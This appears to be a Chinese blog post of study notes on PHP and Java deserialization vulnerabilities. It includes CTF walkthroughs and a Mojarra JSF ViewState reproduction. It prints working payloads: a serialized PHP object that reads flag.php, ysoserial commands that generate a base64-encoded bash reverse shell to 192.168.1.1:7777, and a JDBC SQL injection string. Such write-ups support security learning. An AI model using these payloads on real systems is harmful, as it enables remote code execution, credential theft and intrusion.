MENU

反序列化学习

April 21, 2022 • Read: 611 • Web

反序列化学习

PHP反序列化

前置知识

原理:
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码 执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行 反序列化的时候就有可能会触发对象中的一些魔术方法。

  • serialize() //将一个对象转换成一个字符串
  • unserialize() //将字符串还原成一个对象

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法: 参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

  • __construct()//创建对象时触发
  • __destruct() //对象被销毁时触发
  • __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据
  • __set() //用于将数据写入不可访问的属性
  • __isset() //在不可访问的属性上调用 isset()或 empty()触发 __unset() //在不可访问的属性上使用 unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发
    2022-04-19-22-49-09.png
具体代码实例
<?php
class ABC{
public $test;
function __construct(){
$test =1;
echo '调用了构造函数<br>'; }
function __destruct(){
echo '调用了析构函数<br>'; }
function __wakeup(){
echo '调用了苏醒函数<br>'; }
}
echo '创建对象 a<br>';
$a = new ABC;
echo '序列化<br>'; 
$a_ser=serialize($a);
echo $a_ser.'<br>';
echo '反序列化<br>'; 
$a_unser = unserialize($a_ser);
var_dump($a_unser);
echo '对象快要死了!';
?>

查看运行结果
2022-04-19-23-29-57.png
可以看的出来很明显的序列化其实是传输对象的一种存储对象的方式,方便程序员传输对象等。然而在实际应用中,这个魔术方法又会在对象创建等等的情况被调用,因此如果用户可控序列化字符串并且服务端未做过滤,就有可能引发反序列化漏洞。

CTF赛题实操

2022-04-19-23-35-06.png

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {
    //三个成员变量
    protected $op;
    protected $filename;
    protected $content;

    //魔术方法 new出一个新的对象时就会调用__construct()
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    //根据op判断是进行write函数的操作还是read函数的操作
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    //写函数
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    //读函数,需要获取该对象成员变量filename的值
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    //简单的输出参数并换行函数
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    //魔术方法 对象被销毁时,例如程序退出时,就会调用__destruct()
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}
    //判断输入的字符串是否在ASCII值32-125之内
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

阅读完各个功能之后,可以大概写出程序的执行流程

  1. get方式获取参数str的值,并稍微判断一下str
  2. 将str反序列化并赋值给obj,
  3. if代码段结束,对象被销毁,转而运行__destruct(),
  4. 使用===,即判断变量类型又判断变量值,查看是否值为2,若是2,则强制转成1。
  5. 执行process()函数,判断op为1则写操作,判断op为2则读

因此想要获取flag,很清楚的流程就是让程序去执行读操作,读取flag.php的值就行了。并且由于都是filename,op都是获取的对象的成员变量,因此需要构造一个
成员变量值filename=flag.php,op=' 2'(空格2,这样就是字符串2,绕过===),
content随意的一个对象,并把它序列化成字符串就可以了

<?php
class FileHandler{
    public $filename='flag.php';
    public $op=' 2';
    public $content='aa';
}

    $obj =new FileHandler();
    $str= serialize($obj);
    echo $str;

?>

将输出的字符串提交可以获取到flag。
2022-04-20-00-09-40.png

Java反序列化

前置知识

位置:

  • Java.io.ObjectOutputStream
  • Java.io.ObjectInputStream

序列化 writeObject()。该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中

反序列化 readObject() 该方法从一个源输入流中读取字节序列,再把他们反序列成一个对象,并将其返回。

一些序列化的标志,持续更新
2022-04-21-08-58-14.png
gzip之后的标志
2022-04-21-09-00-44.png

序列化工具 ysoserial

  1. 下载git clone https://github.com/frohoff/ysoserial
  2. cd ysoserial
  3. 使用maven编译mvn clean package -DskipTests
    出现此页面则成功

2022-04-20-21-42-32.png

Mojarra JSF ViewState 反序列化漏洞复现

简介

JavaServer Faces (JSF) 是一种用于构建 Web 应用程序的标准,Mojarra是一个实现了JSF的框架。在其2.1.29-08、2.0.11-04版本之前,没有对JSF中的ViewState进行加密,进而导致攻击者可以构造恶意的序列化ViewState对象对服务器进行攻击。

使用jso生成payload(mac 使用-b参数 ,Linux和win使用-w参数)

  • dnslog回显
    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "ping xxx.ceye.io" | gzip | base64 -b 0
  • 反弹shell
    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" | gzip | base64 -b 0

若是反弹shell并不能直接写,需要一定的格式,这里需要修改反弹shell的ip和端口就直接修改YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS83Nzc3IDA+JjE=这一段内容,修改好后base64替换就行。

最后将得出的结果进行url key编码后发送就行了。
2022-04-20-21-52-21.png

2022网鼎杯 朱雀组 think_java反序列化复现

初步分析

点开网址,发现只有一个身份认证
查看所发的部分源码
一个测试接口,用来查询数据的
即/common/test/sqlDict 然后post传参传入dbName=xxx,接着会调用一个getTableData的方法
2022-04-20-22-11-35.png
已知的一个数据库myapp
2022-04-20-22-12-17.png

一个没有预编译并且参数dbName可控的SQL语句
2022-04-20-22-14-57.png

实操分析
  1. burp抓包请求文件中的接口
    并且可以看到返回的表描述中存在一个user表和字段pwd

2022-04-20-22-37-30.png

  1. 尝试JDBC SQL注入,
    dbName=myapp#' union select pwd from user #

这样写payload的话,原语句就变成了
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = ' myapp#' union select pwd from user # ' and table_name='" + TableName + "';";

即语意变成Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = ' myapp#' union select pwd from user

那为什么要两个引号呢,原因是一开始的jdbc连接的地方:
jdbc类似URL解析。所以当我们输入myapp#' union select 1#时,#在URL中是锚点。所以

jdbc:mysql://mysqldbserver:3306/myapp#' union select 1#
会被解析成
jdbc:mysql://mysqldbserver:3306/myapp

再带入sql语句
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '#' union select 1#' and table_name='" + TableName + "'
第一个#被单引号包裹。成了普通的#字符。第二个#注释掉了后面的语句。造成sql注入

这里主要参考这位师傅的讲解:https://guokeya.github.io/post/u6ks9KJMm/

  1. 将构造好的数据使用burp发包时又出现了怪事,就是无法返回正常的参数
    2022-04-20-23-04-39.png

后来搜了一下相关师傅的博客发现另有方法去做
师傅们的方法是首先根据导入的包发现了存在一个springBoot的默认页面/swagger-ui.html
2022-04-20-23-06-10.png

访问确实有,然后查看操作函数清单,
2022-04-20-23-07-14.png

把刚才dbName的参数放到这里,抓包查看,发现是说明了post方式,但是又像是get传参的东西(怪不得之前的提交方式没得到正确的结果)
2022-04-20-23-09-20.png

获得正确的结果
2022-04-20-23-03-41.png

  1. 查看页面有登录,使用用户信息登录后再查看(应该是默认ctfhub为用户名,获取到的是密码)
    2022-04-20-23-14-43.png
  2. 然后查看最后一个功能查询当前用户信息,发现需要输入data,而这个data应该就是登录成功后返回的一个data
    可以看到返回中的数据包很明显有

2022-04-20-23-15-35.png

  1. 抓包尝试,发现多了一个参数并且rO0AB一般就是java序列化并base64后的特征
    2022-04-20-23-27-11.png
  2. 使用yso工具生成payload,反弹shell,去根目录下看flag即可
    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" | base64

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS83Nzc3IDA+JjE=base64解密后是
bash -i >& /dev/tcp/192.168.1.1/7777 0>&1可以随意替换成自己的公网ip和端口

最后成功取得flag,至于为什么要用ROME方式攻击,暂时还不是特别理解,先填坑,后面理解了再补充。以及填坑一个java反序列化的工具https://github.com/NickstaDB/SerializationDumper/releases/tag/1. 12
2022-04-20-23-37-56.png

yso利用链分析:
https://www.cnblogs.com/escape-w/p/16107606.html